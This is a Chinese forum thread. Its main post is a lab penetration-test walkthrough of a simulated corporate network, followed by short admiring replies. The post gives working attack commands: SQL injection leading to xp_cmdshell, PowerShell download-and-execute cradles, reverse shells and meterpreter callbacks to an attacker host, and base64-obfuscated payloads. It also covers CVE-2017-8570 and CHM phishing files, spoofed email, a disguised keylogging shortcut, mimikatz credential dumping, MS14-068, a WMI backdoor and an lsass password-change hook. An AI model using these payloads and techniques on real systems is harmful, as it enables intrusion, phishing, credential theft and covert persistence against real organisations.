发表主题 回复主题
  • 2815阅读
  • 10回复

[渗透测试]无弹窗渗透测试实验

级别: Master

    [+] Author: niexinming
    [+] Team: n0tr00t security team
    [+] Create: 2017-09-04

0x01 前渗透

内网拓扑说明:

  1. 10.101.101.0/24 网段模拟的是外网的地址  
  2. 192.168.101.0/24 网段模拟的是一个小型企业的内网中的应用服务器网络  
  3. 192.168.111.0/24 网段模拟的是一个小型企业的内网中的办公网络  
  4. 企业内网可以无限制的访问到外网,但是外网无法访问到企业内网  
  5. 办公网可以无限制的访问到应用服务器网络,但是应用服务器网络无法访问到办公网络
  6. 部分服务器打了全部的补丁,并且保持正常更新

内网拓扑图:

扫描 10.101.101.13 后发现此服务器开放 80、82 端口, Win2008 系统,80 端口处发现 SQL 注入,获取数据库和数据库所在服务器版本:

    http://10.101.101.13/?page=1 and @@version>0 --

数据库是 2008r2 的,所在的操作系统是 Win2008 或 Win7,随后看数据库:

    http://10.101.101.13/?page=1;if IS_SRVROLEMEMBER('sysadmin')=1 waitfor delay '0:0:5' --

这个语句测试数据库的权限,发现有延时,证明是有数据库的权限是dba的权限,打开 xp_cmdshell 的限制,创建临时表执行命令并将结果写入新创建的临时表中:

    EXEC sp_configure 'show advanced options',1;
    RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;
    RECONFIGURE;  

    http://10.101.101.13/?page=1;create table temp(id int identity(1,1),a varchar(8000));--
​    

    http://10.101.101.13/?page=1;insert into temp exec master.dbo.xp_cmdshell 'ipconfig /all';--

读取结果:

    http://10.101.101.13/?page=1 and (select substring((select a from temp for xml auto),1,4000))>0--

看上去这个网站是站库分离的网站,用这种方法执行 ping 10.101.101.16 ,发现数据库服务器可以通外网,获取这些信息之后,我 drop table temp 删除创建的临时表。在获取到这么多信息了之后,在自己机子上开一个 Web 站点下载 nishang 的 powershell 的反弹脚本到自己的 Web 服务器上:https://github.com/samratashok/nishang

nv -lvvp 8888 监听等待反弹,然后执行:

    http://10.101.101.13/?page=1;exec master..xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.13/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.13 -port 8888';--

但是数据库权限病不高,现在我将用 Powershell 远程加载并执行exe的脚本执行 ms15-051 ,Ps 脚本地址:https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1 ,执行:

    IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.13/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://10.101.101.13/x86/ms15-051.exe -ExeArgs "cmd" -ForceA

可以看到提权没有成功,并且换一个 Exploit 也没成功:

继续使用 msf 探测,开启 msf 监听功能:

执行,从数据库主机上反弹一个 meterpreter 连接:

    http://10.101.101.13/?page=1;exec master..xp_cmdshell('IEX(New-Object Net.WebClient).DownloadString("http://10.101.101.16/CodeExecution/Invoke-Shellcode.ps1";)
    Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 4444 -force')

随后用 use auxiliary/scanner/smb/smb_version扫描 smb 获取内网信息,发现 mail 服务器,然后用 use auxiliary/scanner/portscan扫描端口,发现开放 80 25 110 端口:

使用 use auxiliary/server/socks4a 代理进内网后在 82 断口处发现了惊喜:

通过弱口令轻松进入到后台,发现一个可以生成静态站的地方:

把自定义静态页面存储主路径改成 1.asp ,然后编辑一篇文章把木马代码放进去,重新生成静态页面 GetShell :

这个服务器的 82 不能执行cmd,不支持aspx,不能跨目录到umail,但是在一个奇怪的地方发现一个一份企业通讯录,下载下来看到管理员邮箱:

于是想到用伪造邮件的方法来钓管理员,参考两篇文章:

第一种方法:首先用 CVE-2017-8570 Explot 做一个钓鱼用的 ppsx ,由于原来的 exp 要用 Poershell 下载 shell.exe 再执行,这样容易被杀软发现,并且原来的 exp 执行反弹回来的 shell 权限不够,所以要考虑绕过 UAC ,让管理员点击恶意的 ppsx 后静默反弹一个高权限的shell ,如果用 nishang 给的 Invoke-PsUACme.ps1 ,执行之后会有一个一闪而过的黑框框,很让人感到怀疑,去掉这个一闪而过的黑框框很简单,因为我用 oobe 的方法在 Win7 上绕过 UAC ,所以我在这里只介绍在这种条件下去掉黑框框的方法,首先去掉 Invoke-PsUACme.ps1 第206行的 & $execpath 代码,之后在调用 Invoke-PsUACme 的时候 -payload 参数写上你要执行的命令,最后用 rundll32.exe 静默启动 C:/Windows/System32/oobe/setupsqm.exe

    IEX(New-Object Net.WebClient).DownloadString("http://10.101.101.16/uacchm.ps1";)

换掉原来 exp 里面的 Powershell 调用语句,其中 uacchm.ps1 的内容是:

    IEX (New-Object System.Net.WebClient).DownloadString('http://10.101.101.16/nishang/Escalation/Invoke-PsUACme.ps1';)
    Invoke-PsUACme -method oobe -Payload 'powershell -win hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=='
    Start-Process -FilePath rundll32.exe -ArgumentList 'javascript:"..\mshtml,RunHTMLApplication ";new%20ActiveXObject("WScript.Shell").Run("C:/Windows/System32/oobe/setupsqm.exe",0,true);self.close();'

而其中enc后面的数据是经过下面的代码编码而成:  

    $command = "IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/chm.ps1')";
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes)
    powershell.exe -EncodedCommand $encodedCommand

编码的内容:

    IEX (New-Object System.Net.WebClient).DownloadString('http://10.101.101.16/chm.ps1';)

chm.ps1:

    IEX (New-Object System.Net.WebClient).DownloadString("http://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1";); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 7777 -force

改好的 exp https://github.com/niexinming/safe_tool/blob/master/cve-2017-8570_toolkit.py  ,用法是:先生成一个恶意的ppsx

    python cve-2017-8570_toolkit.py -M gen -w car.ppsx -u http://10.101.101.16:82/logo.doc

在 82 端口开启服务:

    python cve-2017-8570_toolkit.py -p 82 -M exp -e 10.101.101.16

Ps: 好多时候这个漏洞复现不成功,可以将查看 文件 -> 选项,点击 信任中心设置,去掉设置中的所有勾取选项即可:

第二种方法比较简单,用 easy chm 做一个恶意的 chm :

其中我做的 test.html 我放在了 https://github.com/niexinming/safe_tool/blob/master/test.html Ps: 由于PARAM的value的长度似乎有某种限制,所以我把

    IEX (New-Object Net.WebClient).DownloadString("http://10.101.101.16/uacchm.ps1";)

base64 编码之后放入 PARAM 的 value 中 :

两个恶意的文件都制作好后用 swaks 伪造邮件把这两个文档发送出去:

现在静静等待管理员点击我们的恶意文件,启动msf的 exploit/multi/handler 模块时候用 exploit -j 就可以让 msf 在后台等待管理员上钩了。

0x02 后渗透

当我们发现一个管理员中了我们的木马:

由于 bypass 了 uac ,所以返回的是管理员的 shell ,我们可以用 mimikatz 来把密码脱出来看看:

由于管理员的机子不属于任何域,也不是域账号登陆,所以我需要获取他的在远程登陆其他机子的时候的用户名和密码,根据这篇文件的介绍,我希望替换远程桌面的快捷方式来监视管理员的行为,思路是:

  • (1)正常启动c:\windows\system32\mstsc.exe,避免管理员怀疑
  • (2)由于原来的exp一启动就会有个黑框框一闪而过,要用rundll32的方式来消除黑框框,让恶意代码静态启动
  • (3)参数部分要先加260个空格字符后面接着为payload代码,这样减小管理员查看属性的时候看到payload而产生怀疑
  • (4)参考http://wooyun.jozxing.cc/static/drops/tips-13125.html这个文章静默启动一个桌面步骤记录程序
  • (5)利用PowerSploit的Get-Keystrokes.ps1的脚本来记录键盘记录
  • (6)记录一分钟后把记录的文件隐藏起来
  • (7)启动metasploit的反弹连接
  • (8)修改图标(关于C:\Windows\system32\SHELL32.dll的图标id,有个网站给的很全面,http://help4windows.com/windows_7_shell32_dll.shtml,可以修改传递给图标id来修改图标

我把修改好的代码放在 https://github.com/niexinming/safe_tool/blob/master/link.ps1 ,远程加载的恶意的 PowerShell 代码放在了 https://github.com/niexinming/safe_tool/blob/master/rlnk.ps1,生成好恶意的快捷方式之后只要修改 rlnk.ps1 就可以做你想做的事情了。

使用方法:

看着已经生成好了,看一下效果:

看着比较正常,用起来也很正常,没有卡顿,没有一闪而过的黑框,如果管理员用到远程登陆快捷方式去远程登陆服务器的话,在 c:\windows\temp 目录下会生成 log.dll ,这个里面记录的是键盘记录,cap.zip记录的是关键步骤截屏:
​    

等管理员启动的恶意的远程登陆快捷方式之前,可以用管理员的密码在应用服务器网段内用 use auxiliary/scanner/smb/smb_login 碰碰运气(看起来运气并不怎么样。。。):

等了几天后,我们发现在这个目录下终于有东西了,下载之后看到键盘记录:

屏幕截图记录:

我们现在获得了一个普通域账号的账户名和密码,下面试试 MS14-068 能不能成功,参考:http://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35&type=note#/ ,用 proxychain 执行:

    goldenPac.py diattack.com/jack:jackpwd@dns.diattack.com

NICE!!!

Ps: 攻击的时候如果dns在内网要记得hosts的地址绑定。

用得到的 shell 反弹一个 PoweShell 出来到本地8888端口,如果你用下面的语句反弹的话将得到是一个32位的 PowerShell :  

    powershell IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16 -port 8888

这个时候如果你运行:

    IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

系统会报错,原因是你不能在32位的 Shell 中运行64位的程程序,这里涉及到一个64位系统文件重定向的问题,参考:http://www.cnblogs.com/lhglihuagang/p/3930874.html,所以正确的做法是使用下面的代码来反弹一个64位的 PowerShell :  

    C://Windows//SysNative/WindowsPowerShell//v1.0//powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16 -port 8888

再次运行:

    IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

成功得到域控管理员的密码,下面我们要在域控上面安装一个隐蔽的后门,参考:

这里利用三好学生的方法制作一个 wmi 的后门,首先在自己的 Web 目录下写一个 mof.ps1 ,这个文件作用是用利用 wmi 的定时器的功能让系统每分钟执行一次我们的 payload,这个 mof.ps1 我放在 https://github.com/niexinming/safe_tool/blob/master/mof_time.ps1 ,我还写了一个可以劫持进程的 Powershell 脚本,放在 https://github.com/niexinming/safe_tool/blob/master/mof_hijack.ps1 ,这里我的 Payload 用一个反弹 meterpreter 连接的脚本,mof.txt:  

    <?xml version="1.0"?>

    <package>
    <component id="testCalc">

    <script language="JScript">
    <![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA==");
    ]]>
    </script>

    </component>
    </package>

enc编码前的内容依然是:

    IEX (New-Object System.Net.WebClient).DownloadString('http://10.101.101.16/chm.ps1';)

执行之后,每分钟会反弹一个meterpreter的shell,而且重启后依然会反弹:

Ps: 这个wmi的后门我在Win10上实验的时候不能执行 Payload ,如果触发到后门的触发条件的话, Win10 会弹出 openwith.exe 这个进程,界面上看就是这个:

查了两天资料也没有找到一个正经的解决方法,但是后来把 openwith.exe 换成 cmd.exe 就可以执行 Payload 了,因为 win7 和 win2008 没有 openwith ,所以没有遇到什么阻力就直接执行Payload,但是 Win10 和 Win8 在正常情况下就会打开 openwith ,这个后门的清理方式可以参考:https://www.52pojie.cn/thread-607115-1-1.html

最后,我还想放置一个后们,在域控管理员改密码的时候记录他的新密码[参考],注意他的脚本里面有一个选项可以从你的 Web 服务器加载一个dll到对方主机内存里面,这样你把你的dll生成好之后就可以放在你的 Web 服务器下面,在这个ps1最下面加入:

    Invoke-ReflectivePEInjection -PEUrl http://10.101.101.16/HookPasswordChange.dll –procname lsass

然后你把这个脚本的调用加入到chm.ps1里面,下面是改动之后chm.ps1里面的内容:

    IEX (New-Object System.Net.WebClient).DownloadString("http://10.101.101.16/HookPasswordChangeNotify.ps1";)
    IEX (New-Object System.Net.WebClient).DownloadString("http://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1";); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 7777 -force

这样一方面我们可以反弹一个 meterpreter ,另一方面还可以在域管理员改密码的时候记录他的新密码:

级别: Master
只看该作者 沙发  发表于: 09-04
伸手党太多~~
  只有看的~ 以后要设置权限了~~
只看该作者 板凳  发表于: 09-04
冰总大黑阔这paper写的屌啊,终于出文章了
级别: Master
只看该作者 地板  发表于: 09-05
回 2楼(wooyun) 的帖子
     咦  
只看该作者 4楼 发表于: 09-05
回 楼主(hades) 的帖子
冰总亲自出马了,给力,最近搞的一个和这个非常类似
只看该作者 5楼 发表于: 09-05
66666666666666666
只看该作者 6楼 发表于: 09-06
Re无弹窗渗透测试实验
厉害了我的哥
只看该作者 7楼 发表于: 09-07
摸摸的收藏下文章
只看该作者 8楼 发表于: 09-08
感觉大牛的分享,思路很好,研究了好多东西!
只看该作者 9楼 发表于: 09-11
感谢分享,学习了
发表主题 回复主题
« 返回列表
«12»
共2页
上一主题下一主题